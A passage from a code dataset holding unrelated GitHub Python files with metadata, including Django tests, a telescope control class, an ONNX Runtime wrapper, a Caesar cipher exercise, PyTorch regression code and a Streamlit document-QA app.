ax.scatter(x_pca[i], y_pca[i], z_pca[i], color='red')\n ax.scatter(x_pca2[i], y_pca2[i], z_pca2[i], color='blue')\n\n ax.set_xlabel(\"PCA1\")\n ax.set_ylabel(\"PCA2\")\n ax.set_zlabel(\"PCA3\")\n\n # compute the variance explained\n variance_explained = sum(pca.explained_variance_ratio_)\n \n # set the title for the subplot\n ax.set_title(f'{model_name} ({variance_explained*100:.2f}% variance)')\n\n plt.show()\n\n plt.tight_layout()\n plt.savefig('helix_grid_grouped_vs_not.png')", "repo_name": "adamyedidia/resid_viewer", "sub_path": "experiments/helix.py", "file_name": "helix.py", "file_ext": "py", "file_size_in_byte": 2860, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.path.append", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "transformer_lens.HookedTransformer.from_pretrained", "line_number": 38, "usage_type": "call"}, {"api_name": "transformer_lens.HookedTransformer", "line_number": 38, "usage_type": "name"}, {"api_name": "experiments.experimental_transformer.average_rows", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 49, "usage_type": "call"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}]} +{"seq_id": "19208846339", "text": "from django.test import TestCase\nfrom .models import Bulletin, Comment\nfrom django.contrib.auth.models import User\nfrom django.template.defaultfilters import slugify\nfrom django.shortcuts import reverse\n\n\nclass TestReadViews(TestCase):\n\n @classmethod\n def setUpClass(cls):\n cls.user_1 = User.objects.create_user(username='test_user',\n password='test')\n\n @classmethod\n def tearDownClass(cls):\n cls.user_1.delete()\n\n def setUp(self):\n self.bulletin_title = 'New Bulletin'\n self.title_slug = slugify(self.bulletin_title)\n self.bulletin_title_edited = 'Edited Bulletin'\n\n self.client.login(username=self.user_1.username,\n password='test')\n\n self.bulletin = Bulletin.objects.create(title=self.bulletin_title,\n slug=self.title_slug,\n author=self.user_1,\n content='This is a test ' +\n 'bulletin.',\n link='https://www.google.ie/',\n status=1,\n edited=False)\n\n self.comment = Comment.objects.create(bulletin=self.bulletin,\n author=self.user_1,\n comment='This is a test comment',\n edited=False)\n\n def tearDown(self):\n self.client.logout()\n self.bulletin.delete()\n self.comment.delete()\n\n def test_get_homepage(self):\n response = self.client.get('/')\n self.assertEqual(response.status_code, 200)\n self.assertTemplateUsed(response, 'index.html')\n\n def test_get_bulletin_detail_page(self):\n url = reverse('bulletin', args=[self.bulletin.slug])\n response = self.client.get(url)\n\n self.assertEqual(response.status_code, 200)\n\n def test_get_add_bulletin_page(self):\n response = self.client.get('/add')\n self.assertEqual(response.status_code, 200)\n self.assertTemplateUsed(response, 'add_bulletin.html')\n\n def test_get_edit_bulletin_page(self):\n url = reverse('edit', args=[self.bulletin.slug])\n response = self.client.get(url)\n\n self.assertEqual(response.status_code, 200)\n self.assertTemplateUsed(response, 'edit_bulletin.html')\n\n def test_get_edit_comment_bulletin_page(self):\n url = reverse('comment_edit', args=[self.bulletin.slug])\n\n query_string_1 = f'?query={self.comment.id}'\n full_url_1 = url + query_string_1\n\n response_1 = self.client.get(full_url_1)\n", "repo_name": "ChrisLPlumb91/readwrite", "sub_path": "bulletinboard/test_views_read.py", "file_name": "test_views_read.py", "file_ext": "py", "file_size_in_byte": 2808, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.test.TestCase", "line_number": 8, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.create_user", "line_number": 12, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 12, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 12, "usage_type": "name"}, {"api_name": "django.template.defaultfilters.slugify", "line_number": 21, "usage_type": "call"}, {"api_name": "models.Bulletin.objects.create", "line_number": 27, "usage_type": "call"}, {"api_name": "models.Bulletin.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "models.Bulletin", "line_number": 27, "usage_type": "name"}, {"api_name": "models.Comment.objects.create", "line_number": 36, "usage_type": "call"}, {"api_name": "models.Comment.objects", "line_number": 36, "usage_type": "attribute"}, {"api_name": "models.Comment", "line_number": 36, "usage_type": "name"}, {"api_name": "django.shortcuts.reverse", "line_number": 52, "usage_type": "call"}, {"api_name": "django.shortcuts.reverse", "line_number": 63, "usage_type": "call"}, {"api_name": "django.shortcuts.reverse", "line_number": 70, "usage_type": "call"}]} +{"seq_id": "2864960295", "text": "import os\nimport sys\nimport threading\nimport logging\n\nimport numpy as np\n\nfrom yn40mtcs.core.device import Device\nfrom yn40mtcs.core.utils import get_parameter, data_path\nfrom yn40mtcs.core.attribute import Attribute\nfrom yn40mtcs.core.constants import *\nfrom yn40mtcs.func import acu39, conv_coord, virtualacu\n\nlogger = logging.getLogger('{}.device.{}'.format(LOGGER_NAME, __name__))\nclass Telescope(Device):\n def __init__(self, config):\n super(Telescope, self).__init__(config)\n self._lock = threading.Lock()\n self.declare_attributes()\n self.read_config()\n self.Threads = []\n\n def declare_attributes(self):\n self.AZ_cmd = Attribute('AZ_cmd', 'Latitude', value=0, unit=\"deg\", group='Basic', description=\"input command position AZ\") \n self.EL_cmd = Attribute('EL_cmd', 'Latitude', value=0, unit=\"deg\", group='Basic', description=\"input command position EL\") \n self.AZ_obj = Attribute('AZ_obj', 'AZ_obj', value=0, unit=\"deg\", group='Basic', description=\"Instruction position sending to telescope AZ\")\n self.EL_obj = Attribute('EL_obj', 'EL_obj', value=0, unit=\"deg\", group='Basic', description=\"Instruction position sending to telescope EL\") \n self.AZ = Attribute('AZ', 'AZ', value=0, unit=\"deg\", group='Basic', description=\"The intermediate value of the position calculation AZ\")\n self.EL = Attribute('EL', 'EL', value=0, unit=\"deg\", group='Basic', description=\"The intermediate value of the position calculation EL\") \n self.AZ_current = Attribute('AZ_current', 'AZ_current', value=0, unit=\"deg\", group='Basic', description=\"Current postion AZ\")\n self.EL_current = Attribute('EL_current', 'EL_current', value=0, unit=\"deg\", group='Basic', description=\"Current postion EL\") \n self.RA_obj = Attribute('RA_obj', 'RA_obj', value=0, unit=\"deg\", group='Basic', description=\"Celestial position RA\")\n self.DEC_obj = Attribute('DEC_obj', 'DEC_obj', value=0, unit=\"deg\", group='Basic', description=\"Celestial position DEC\") \n self.AZ_off = Attribute('AZ_off', 'AZ_off', value=0, unit=\"deg\", group='Basic', description=\"Position offset AZ\")\n self.EL_off = Attribute('EL_off', 'EL_off', value=0, unit=\"deg\", group='Basic', description=\"Position offset EL\") \n\n self.sourcename= Attribute('SourceName', 'SourceName', value='', unit=\"\", group='Basic', description=\"Source Name\") \n \n def read_config(self):\n self._Longitude = [float(v) for v in self.config.longitude.split(':')]\n self._Latitude = [float(v) for v in self.config.latitude.split(':')]\n self._Height = self.config.h\n self._Atmosphere = self.config.atmosphere\n self._PointingParameter = np.loadtxt(data_path(self.config.pointing_par)) # Read parameters from new_pointing_par.txt\n\n\n # Selecting the virtual control device\n if self.config.hardware=='ACU39':\n self.Hardware = acu39.Acu39Tel()\n elif self.config.hardware=='FAKE':\n self.Hardware = virtualacu.VirtualTel(self.config)\n else:\n logger.error('Unknown Hardware')\n sys.exit(0)\n\n # Ra-Dec to Az-El\n self._CoorGeo = conv_coord.CoordGeometry(iersfile=self.config.iers_fil, ephfile=self.config.eph_fil)\n \n #--------------------Display antenna status information--------------------\n def show_state(self):\n if self.state.value == 'EXIT':\n raise RuntimeError(\"Exiting, please check log!\")\n if self.state.value == 'DISCONNECT':\n raise RuntimeError(\"Exiting, could not communicate with ACU!\")\n '''\n XXXXXXX update AZ and EL current by reading from telescope hardware\n '''\n\n print('------ STATUS: {} -------'.format(self.state.value))\n print('Source:',self.sourcename.value)#20210228\n print('AZ_obj: {} AZ_off: {} AZ_current: {}'.format(self.AZ_obj.value, self.AZ_off.value, self.AZ_current.value))\n print('EL_obj: {} EL_off: {} EL_current: {}'.format(self.EL_obj.value, self.EL_off.value, self.EL_current.value))\n print('------------ RA and DEC ------------')\n print('RA_obj: {}'.format(self.RA_obj.value))\n print('DEC_obj: {}'.format(self.DEC_obj.value))\n print('----------Point Model-------------------')\n print(self._PointingParameter)\n print('----------Pointing state ---------------')\n if self.Isready():\n print('Pointing ready')\n else:\n print('Pointing NOT ready')\n if len(self.Threads)>0:\n print('Control thread started')\n else:\n print('Control thread stopped')\n\n print('--------------------HARDWARE STATUS--------------------')\n self.Hardware.DumpStatus()\n\n def print_usage(self):\n print('The commands are ')\n print('Help/? Print this help')\n print('Tell Telescope state')\n print('AZEL AZ EL Point telescope to given AZ EL')\n print('RADEC RA DEC Keep telescope track to given RA DEC')\n print('Off RA_off DEC_off Set offsets')\n print('Start Start control loop')\n print('Halt Stop telescope')\n print('Exit Exit current program')\n def run(self, command):\n super(Telescope, self).run(command)\n\n cmds = command.split(' ')\n if cmds[0]=='help' or cmds[0] =='?':\n self.print_usage()\n elif cmds[0]=='Tell':\n self.show_state()\n elif cmds[0]=='Halt':\n self.StopControlThread()\n logger.info('Control thread stopped')\n elif cmds[0]=='Start':\n self.StartControlThread()\n logger.info('Control thread started') # rizhi\n elif cmds[0]=='Exit':\n #Do not modify this function, otherwise you will be dead\n os._exit(0)\n elif cmds[0]=='AZEL':\n if len(cmds) >= 3:\n az = float(cmds[1])\n el = float(cmds[2])\n self.TrackAZEL(az,el)\n else:\n logger.error('Missing operation variable')\n elif cmds[0]=='RADEC':\n if len(cmds) >= 3:\n ra = cmds[1]\n dec = cmds[2]\n self.TrackRADEC(ra,dec)\n else:\n logger.error('Missing operation variable')\n elif cmds[0]=='Off':\n if len(cmds)>=3:\n az_off = float(cmds[1])\n el_off = float(cmds[2])\n self.SetAZEL_off(az_off,el_off)\n else:\n logger.error('Missing operation variable')\n else:\n logger.error('command not found')\n\n", "repo_name": "kustcn/yn40mtcs", "sub_path": "yn40mtcs/device/telescope.py", "file_name": "telescope.py", "file_ext": "py", "file_size_in_byte": 6697, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "yn40mtcs.core.device.Device", "line_number": 15, "usage_type": "name"}, {"api_name": "threading.Lock", "line_number": 18, "usage_type": "call"}, {"api_name": "yn40mtcs.core.attribute.Attribute", "line_number": 24, "usage_type": "call"}, {"api_name": "yn40mtcs.core.attribute.Attribute", "line_number": 25, "usage_type": "call"}, {"api_name": "yn40mtcs.core.attribute.Attribute", "line_number": 26, "usage_type": "call"}, {"api_name": "yn40mtcs.core.attribute.Attribute", "line_number": 27, "usage_type": "call"}, {"api_name": "yn40mtcs.core.attribute.Attribute", "line_number": 28, "usage_type": "call"}, {"api_name": "yn40mtcs.core.attribute.Attribute", "line_number": 29, "usage_type": "call"}, {"api_name": "yn40mtcs.core.attribute.Attribute", "line_number": 30, "usage_type": "call"}, {"api_name": "yn40mtcs.core.attribute.Attribute", "line_number": 31, "usage_type": "call"}, {"api_name": "yn40mtcs.core.attribute.Attribute", "line_number": 32, "usage_type": "call"}, {"api_name": "yn40mtcs.core.attribute.Attribute", "line_number": 33, "usage_type": "call"}, {"api_name": "yn40mtcs.core.attribute.Attribute", "line_number": 34, "usage_type": "call"}, {"api_name": "yn40mtcs.core.attribute.Attribute", "line_number": 35, "usage_type": "call"}, {"api_name": "yn40mtcs.core.attribute.Attribute", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 44, "usage_type": "call"}, {"api_name": "yn40mtcs.core.utils.data_path", "line_number": 44, "usage_type": "call"}, {"api_name": "yn40mtcs.func.acu39.Acu39Tel", "line_number": 49, "usage_type": "call"}, {"api_name": "yn40mtcs.func.acu39", "line_number": 49, "usage_type": "name"}, {"api_name": "yn40mtcs.func.virtualacu.VirtualTel", "line_number": 51, "usage_type": "call"}, {"api_name": "yn40mtcs.func.virtualacu", "line_number": 51, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 54, "usage_type": "call"}, {"api_name": "yn40mtcs.func.conv_coord.CoordGeometry", "line_number": 57, "usage_type": "call"}, {"api_name": "yn40mtcs.func.conv_coord", "line_number": 57, "usage_type": "name"}, {"api_name": "os._exit", "line_number": 117, "usage_type": "call"}]} +{"seq_id": "3032808412", "text": "import onnxruntime\nimport numpy as np\nimport cv2\n\nfrom .base import Engine\n\n\nclass EngineORT(Engine):\n\n DICT_PROVIDERS = {\n \"cpu\": (\"CPUExecutionProvider\", {}),\n \"openvino\": (\"OpenVINOExecutionProvider\", {}),\n \"tensorrt\": (\n 'TensorrtExecutionProvider', {\n 'device_id': 0,\n 'trt_fp16_enable': True,\n 'trt_max_workspace_size': 2147483648*4}\n ),\n \"cuda\": (\n 'CUDAExecutionProvider', {\n 'device_id': 0,\n 'arena_extend_strategy': 'kNextPowerOfTwo',\n 'gpu_mem_limit': 8 * 1024 * 1024 * 1024,\n 'cudnn_conv_algo_search': 'EXHAUSTIVE',\n 'do_copy_in_default_stream': True, }\n )\n }\n\n def __init__(self, onnx_path, sessionOptions=None, providers=\"cpu\"):\n \"\"\"\n Initializes face detector.\n Args:\n confidenceThreshold: Confidence threshold (defaults to 0.95)\n nmsThreshold: NonMaxSuppression threshold (defaults to 0.5)\n sessionOptions: Session options.\n \"\"\"\n\n self.onnx_path = onnx_path\n\n self.provider = self.DICT_PROVIDERS.get(\n providers.lower(), \"CPUExecutionProvider\")\n\n self.__session = onnxruntime.InferenceSession(\n onnx_path, sessionOptions, providers=[self.provider])\n\n # print(self.__session.get_providers())\n self.provider = (self.provider if self.provider[0] in self.__session.get_providers(\n ) else \"CPUExecutionProvider\")\n\n self.inputs_names = [x.name for x in self.__session.get_inputs()]\n assert len(self.inputs_names) > 0\n\n self.outputs_names = [x.name for x in self.__session.get_outputs()]\n assert len(self.inputs_names) > 0\n # self.__session.set_providers(providers=[self.provider])\n print(\"Using {} external provider\".format(\n self.__session.get_providers()))\n\n def run(self, data: dict):\n \"\"\"\n Returns onnx inference outputs.\n Args:\n data_infer: pre-processed ndarray float32 (b,h,w,c) 0.~255.\n Returns:\n Net outputs ndarrays\n \"\"\"\n if isinstance(data, dict):\n data_infer = data[\"data_infer\"]\n elif isinstance(data, np.ndarray):\n data_infer = data\n if len(self.inputs_names) == 1:\n outputs = self.__session.run(\n None, {self.inputs_names[0]: data_infer})\n else:\n outputs = self.__session.run(\n None, {n: data_infer[n] for n in self.inputs_names})\n\n return outputs\n", "repo_name": "QuantumLiu/OpenIVA", "sub_path": "openiva/engines/engine_ort.py", "file_name": "engine_ort.py", "file_ext": "py", "file_size_in_byte": 2613, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 22, "dataset": "github-code", "pt": "16", "api": [{"api_name": "base.Engine", "line_number": 8, "usage_type": "name"}, {"api_name": "onnxruntime.InferenceSession", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 69, "usage_type": "attribute"}]} +{"seq_id": "46905104980", "text": "#!/usr/bin/env python3\nfrom art import logo\n\ncipher = False\n\n\ndef caesar_cipher(plaintext, shift_amount):\n \"\"\"Encrypts plaintext using a Caesar cipher with the specified shift value\"\"\"\n ciphertext = \"\"\n for char in plaintext:\n if char.isalpha():\n # Determine the new character code after applying the shift\n new_code = ord(char) + shift_amount\n if char.isupper():\n # Handle uppercase letters\n new_code = (new_code - 65) % 26 + 65\n else:\n # Handle lowercase letters\n new_code = (new_code - 97) % 26 + 97\n ciphertext += chr(new_code)\n else:\n # Leave non-alphabetic characters unchanged\n ciphertext += char\n return ciphertext\n\n\ndef decrypt_caesar_cipher(ciphertext, shift_amount):\n \"\"\"Decrypts a message encrypted using a Caesar cipher with the specified shift value\"\"\"\n plaintext = \"\"\n for char in ciphertext:\n if char.isalpha():\n # Determine the original character code before applying the shift\n original_code = ord(char) - shift_amount\n if char.isupper():\n # Handle uppercase letters\n original_code = (original_code - 65) % 26 + 65\n else:\n # Handle lowercase letters\n original_code = (original_code - 97) % 26 + 97\n plaintext += chr(original_code)\n else:\n # Leave non-alphabetic characters unchanged\n plaintext += char\n return plaintext\n\n\nprint(logo)\nwhile not cipher:\n direction = input(\"encode, decode, or exit: \")\n text = input(\"Type your message: \").lower()\n shift = int(input(\"Type the shift number: \"))\n\n if direction == 'encode':\n encode_message = caesar_cipher(plaintext=text, shift_amount=shift)\n print(f\"encoded message is {encode_message}\")\n elif direction == 'decode':\n decode_message = decrypt_caesar_cipher(ciphertext=text, shift_amount=shift)\n print(f\"decoded message is {decode_message}\")\n if direction == 'exit':\n cipher = False\n print(\"Exiting\")\n", "repo_name": "tylerkain/100-Days-Of-Code", "sub_path": "Day-8/cipher.py", "file_name": "cipher.py", "file_ext": "py", "file_size_in_byte": 2151, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "art.logo", "line_number": 47, "usage_type": "argument"}]} +{"seq_id": "34947113674", "text": "from beanie import Document\nfrom pydantic import BaseModel, EmailStr\n\n\nclass Admin(Document):\n full_name: str\n email: EmailStr\n\n class Settings:\n name = \"admin\"\n\n class Config:\n schema_extra = {\n \"example\": {\n \"full_name\": \"Daniil Kimstach\",\n \"email\": \"daniilkimstachp@gmail.com\"\n }\n }\n", "repo_name": "Daniil4949/FastApiProject", "sub_path": "models/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 371, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "beanie.Document", "line_number": 5, "usage_type": "name"}, {"api_name": "pydantic.EmailStr", "line_number": 7, "usage_type": "name"}]} +{"seq_id": "25442369701", "text": "# -*- coding: utf-8 -*-\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils import data\n\n\nclass DeterministicNet(nn.Module):\n \n \"\"\" Defines a neural network with one hidden layer of size hidden_size. A\n relu activation is applied after the hidden layer.\n \"\"\"\n \n def __init__(self, hidden_size, dim_input, dim_output):\n super().__init__()\n self.fc1 = nn.Linear(dim_input, hidden_size)\n self.fc2 = nn.Linear(hidden_size, dim_output)\n self.layers = [self.fc1, self.fc2]\n\n def forward(self, x):\n out = F.relu(self.fc1(x))\n return self.fc2(out)\n\n def weights_dist(self):\n \"\"\" Return flatten numpy array containing all the weights of the net \"\"\"\n return np.hstack(list(map(lambda layer: layer.weight.data.numpy().flatten(), self.layers)))\n\n\nclass DeterministicReg(object):\n \n \"\"\" Defines the regression model for a training set (X_train , y_Train),\n a test set X_test and a neural-network net.\n \"\"\"\n \n def __init__(self, X_train, y_train, X_test, net, batch_size=None):\n self.net = net\n self.batch_size = batch_size\n self.X_train = X_train\n self.y_train = y_train\n self.X_test = X_test\n self.pred = None\n self.batches = None\n\n def create_batches(self):\n torch_train_dataset = data.TensorDataset(self.X_train, self.y_train)\n self.batches = data.DataLoader(torch_train_dataset, batch_size=self.batch_size)\n\n def train(self, epochs, optimizer, criterion, batch=True):\n \"\"\" Optimizes the parameters of the network to minimize the\n criterion.\n \n epochs: number of optimization steps\n optimizer: torch.optim.Adam(), torch.optim.SGD...\n \"\"\"\n self.net.train()\n if batch:\n self.create_batches()\n for epoch in range(int(epochs)):\n for local_batch, local_labels in self.batches:\n optimizer.zero_grad()\n output = self.net(local_batch).squeeze()\n loss = criterion(output, local_labels)\n loss.backward()\n optimizer.step()\n else:\n for epoch in range(int(epochs)):\n optimizer.zero_grad()\n output = self.net(self.X_train).squeeze()\n loss = criterion(output, self.y_train)\n loss.backward()\n optimizer.step()\n return\n\n def predict(self): \n \"\"\" Returns the prediction of the neural network for X_test\"\"\" \n self.net.eval()\n self.net.training = True\n self.pred = self.net(self.X_test).squeeze().detach()\n return self.pred\n\n def plot_results(self, ax=None): \n \"\"\" Plots the training points (scatter plot) as well as the prediction \n of the network (plot)\n \"\"\"\n if ax is None:\n ax = plt.subplot()\n ax.scatter(self.X_train.numpy(), self.y_train.numpy(), color='red', marker='x', label=\"training points\")\n ax.plot(self.X_test.numpy(), self.pred.numpy(), color='blue', label=\"prediction\")\n return\n", "repo_name": "ncaptier/MVA_BayesianBackprop", "sub_path": "models/regression/deterministic_regression.py", "file_name": "deterministic_regression.py", "file_ext": "py", "file_size_in_byte": 3231, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.nn.Module", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 22, "usage_type": "name"}, {"api_name": "numpy.hstack", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 46, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}]} +{"seq_id": "13680307230", "text": "from bisect import bisect_left\nfrom collections import deque\nimport sys\ninput = sys.stdin.readline\n\ndef main():\n N, M = map(int,input().split())\n A = list(map(int, input().split()))\n sushi = []\n child = deque([])\n flag = True\n for i in range(M):\n if flag and len(child) == N:\n flag = False\n index = bisect_left(child, A[i])\n if index == 0:\n if flag:\n child.appendleft(A[i])\n print(len(child))\n else:\n print(-1)\n else:\n child[index-1] = A[i]\n sushi.append(abs(index - 1 - len(child)))\n print(abs(index - 1 - len(child)))\n\nif __name__ == \"__main__\":\n main()", "repo_name": "tails1434/Atcoder", "sub_path": "PAST/3回/J.py", "file_name": "J.py", "file_ext": "py", "file_size_in_byte": 715, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.stdin", "line_number": 4, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 10, "usage_type": "call"}, {"api_name": "bisect.bisect_left", "line_number": 15, "usage_type": "call"}]} +{"seq_id": "71548370249", "text": "import os\nfrom typing import List, Optional\nimport streamlit as st\nfrom langchain.vectorstores.base import VectorStore\n\nfrom llm.inference.base import InferenceEngine\nfrom llm.model_configs import ModelConfig, VicunaConfig\nfrom llm.qa.embedding import DEFAULT_EMBEDDING_MODEL, QAEmbeddings\nfrom llm.qa.parser import DataFields\nfrom llm.qa.session import QASession\nfrom llm.qa.vector_store import DatasetVectorStore\nfrom llm.utils.data import load_data\n\nfrom examples.streamlit_ui.components import (\n chat_bubble,\n generation_settings,\n get_engine,\n setup_page,\n)\n\n\n@st.cache_resource\ndef get_vector_store(\n context_model: str, dataset_path: str, index_path: Optional[str] = None\n) -> DatasetVectorStore:\n # VectorStore for semantic search. Shared by all sessions\n dataset = load_data(dataset_path)\n embedding = QAEmbeddings(context_model)\n return DatasetVectorStore(dataset, embedding, index_path=index_path)\n\n\ndef get_qa_session(\n model_config: ModelConfig,\n engine: InferenceEngine,\n vector_store: VectorStore,\n debug: bool = True,\n **kwargs\n) -> QASession:\n # Conversation/contexts for each session\n if \"qa_session\" not in st.session_state:\n qa_session = QASession.from_model_config(\n model_config, vector_store, engine=engine, debug=debug, **kwargs\n )\n st.session_state.qa_session = qa_session\n return qa_session\n return st.session_state.qa_session\n\n\ndef filter_contexts(qa_session: QASession, included: List[bool]):\n # Filter which contexts are seen by the LLM for the next question\n contexts = []\n for doc, to_include in zip(qa_session.results, included):\n if to_include:\n contexts.append(doc.page_content)\n\n qa_session.set_contexts(contexts)\n\n\nif __name__ == \"__main__\":\n setup_page(\"Document QA\")\n\n dataset_path = st.session_state.get(\"qa_dataset_path\")\n index_path = st.session_state.get(\"qa_index_path\")\n context_model = st.session_state.get(\"qa_context_model\", DEFAULT_EMBEDDING_MODEL)\n if not dataset_path:\n raise Exception(\"No dataset path given. Unable to run Document QA.\")\n\n engine = get_engine()\n vector_store = get_vector_store(context_model, dataset_path, index_path=index_path)\n qa_session = get_qa_session(st.session_state.model_config, engine, vector_store)\n\n chat_container = st.container()\n clear_convo = st.button(\"Clear\")\n if clear_convo:\n # Clear conversation, but keep system prompt in case the\n # user wants to re-query over the previous context.\n qa_session.clear(keep_results=True)\n\n with st.form(key=\"input_form\", clear_on_submit=True):\n # Collect user input\n user_input = st.text_area(\"Query:\", key=\"input\", height=100)\n contexts_only = st.checkbox(label=\"Contexts only\", value=False)\n query_submitted = st.form_submit_button(label=\"Submit\")\n if clear_convo or (query_submitted and not user_input):\n query_submitted = False\n\n with st.sidebar:\n st.header(\"Settings\")\n with st.form(key=\"settings_form\", clear_on_submit=False):\n rephrase_question = st.checkbox(\n \"Rephrase context query with history\",\n key=\"rephrase_question\",\n value=True,\n )\n search_new_context = st.checkbox(\n \"Search new contexts on chat\",\n key=\"search_new_context\",\n value=True,\n )\n num_contexts = st.number_input(label=\"Num Contexts\", min_value=0, value=3)\n generation_kwargs = generation_settings()\n st.form_submit_button(label=\"Apply\")\n\n # Write current chat\n if query_submitted and not contexts_only:\n qa_session.append_question(user_input)\n\n with chat_container:\n for message in qa_session.conversation.messages:\n chat_bubble(\"user\", message.input)\n if message.response is not None:\n chat_bubble(\"assistant\", message.response)\n\n if query_submitted and (search_new_context or contexts_only):\n # Rephrase and search for contexts\n with st.spinner(\"Searching...\"):\n if rephrase_question:\n search_query = qa_session.rephrase_question(\n user_input,\n max_new_tokens=256,\n temperature=generation_kwargs[\"temperature\"],\n top_p=generation_kwargs[\"top_p\"],\n )\n else:\n search_query = user_input\n st.session_state.search_query = search_query\n qa_session.search_context(search_query, top_k=num_contexts)\n\n # Write contexts out to streamlit, with checkboxes to filter what is sent to the LLM\n included: List[bool] = []\n with st.sidebar:\n st.header(\"Contexts\")\n if \"search_query\" in st.session_state:\n st.caption(st.session_state.search_query)\n with st.form(key=\"checklists\"):\n for i, doc in enumerate(qa_session.results):\n include = st.checkbox(\n \"include in chat context\", key=i, value=True, disabled=search_new_context\n )\n included.append(include)\n st.write(doc.page_content)\n st.json(\n {k: v for k, v in doc.metadata.items() if k != DataFields.EMBEDDING},\n expanded=False,\n )\n st.divider()\n\n checklist_submitted = st.form_submit_button(\n label=\"Filter\", disabled=(not qa_session.results)\n )\n if checklist_submitted:\n filter_contexts(qa_session, included)\n\n if query_submitted and not contexts_only:\n # Stream response from LLM, updating chat window at each step\n with chat_container:\n answer = chat_bubble(\"assistant\")\n for text in qa_session.stream_answer(user_input, **generation_kwargs):\n answer.text(text)\n", "repo_name": "saturncloud/llm", "sub_path": "examples/streamlit_ui/pages/1_Document_QA.py", "file_name": "1_Document_QA.py", "file_ext": "py", "file_size_in_byte": 5993, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.Optional", "line_number": 24, "usage_type": "name"}, {"api_name": "llm.utils.data.load_data", "line_number": 27, "usage_type": "call"}, {"api_name": "llm.qa.embedding.QAEmbeddings", "line_number": 28, "usage_type": "call"}, {"api_name": "llm.qa.vector_store.DatasetVectorStore", "line_number": 29, "usage_type": "call"}, {"api_name": "streamlit.cache_resource", "line_number": 22, "usage_type": "attribute"}, {"api_name": "llm.qa.vector_store.DatasetVectorStore", "line_number": 25, "usage_type": "name"}, {"api_name": "llm.model_configs.ModelConfig", "line_number": 33, "usage_type": "name"}, {"api_name": "llm.inference.base.InferenceEngine", "line_number": 34, "usage_type": "name"}, {"api_name": "langchain.vectorstores.base.VectorStore", "line_number": 35, "usage_type": "name"}, {"api_name": "streamlit.session_state", "line_number": 40, "usage_type": "attribute"}, {"api_name": "llm.qa.session.QASession.from_model_config", "line_number": 41, "usage_type": "call"}, {"api_name": "llm.qa.session.QASession", "line_number": 41, "usage_type": "name"}, {"api_name": "streamlit.session_state", "line_number": 44, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 46, "usage_type": "attribute"}, {"api_name": "llm.qa.session.QASession", "line_number": 38, "usage_type": "name"}, {"api_name": "llm.qa.session.QASession", "line_number": 49, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 49, "usage_type": "name"}, {"api_name": "examples.streamlit_ui.components.setup_page", "line_number": 60, "usage_type": "call"}, {"api_name": "streamlit.session_state.get", "line_number": 62, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 62, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.get", "line_number": 63, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 63, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.get", "line_number": 64, "usage_type": 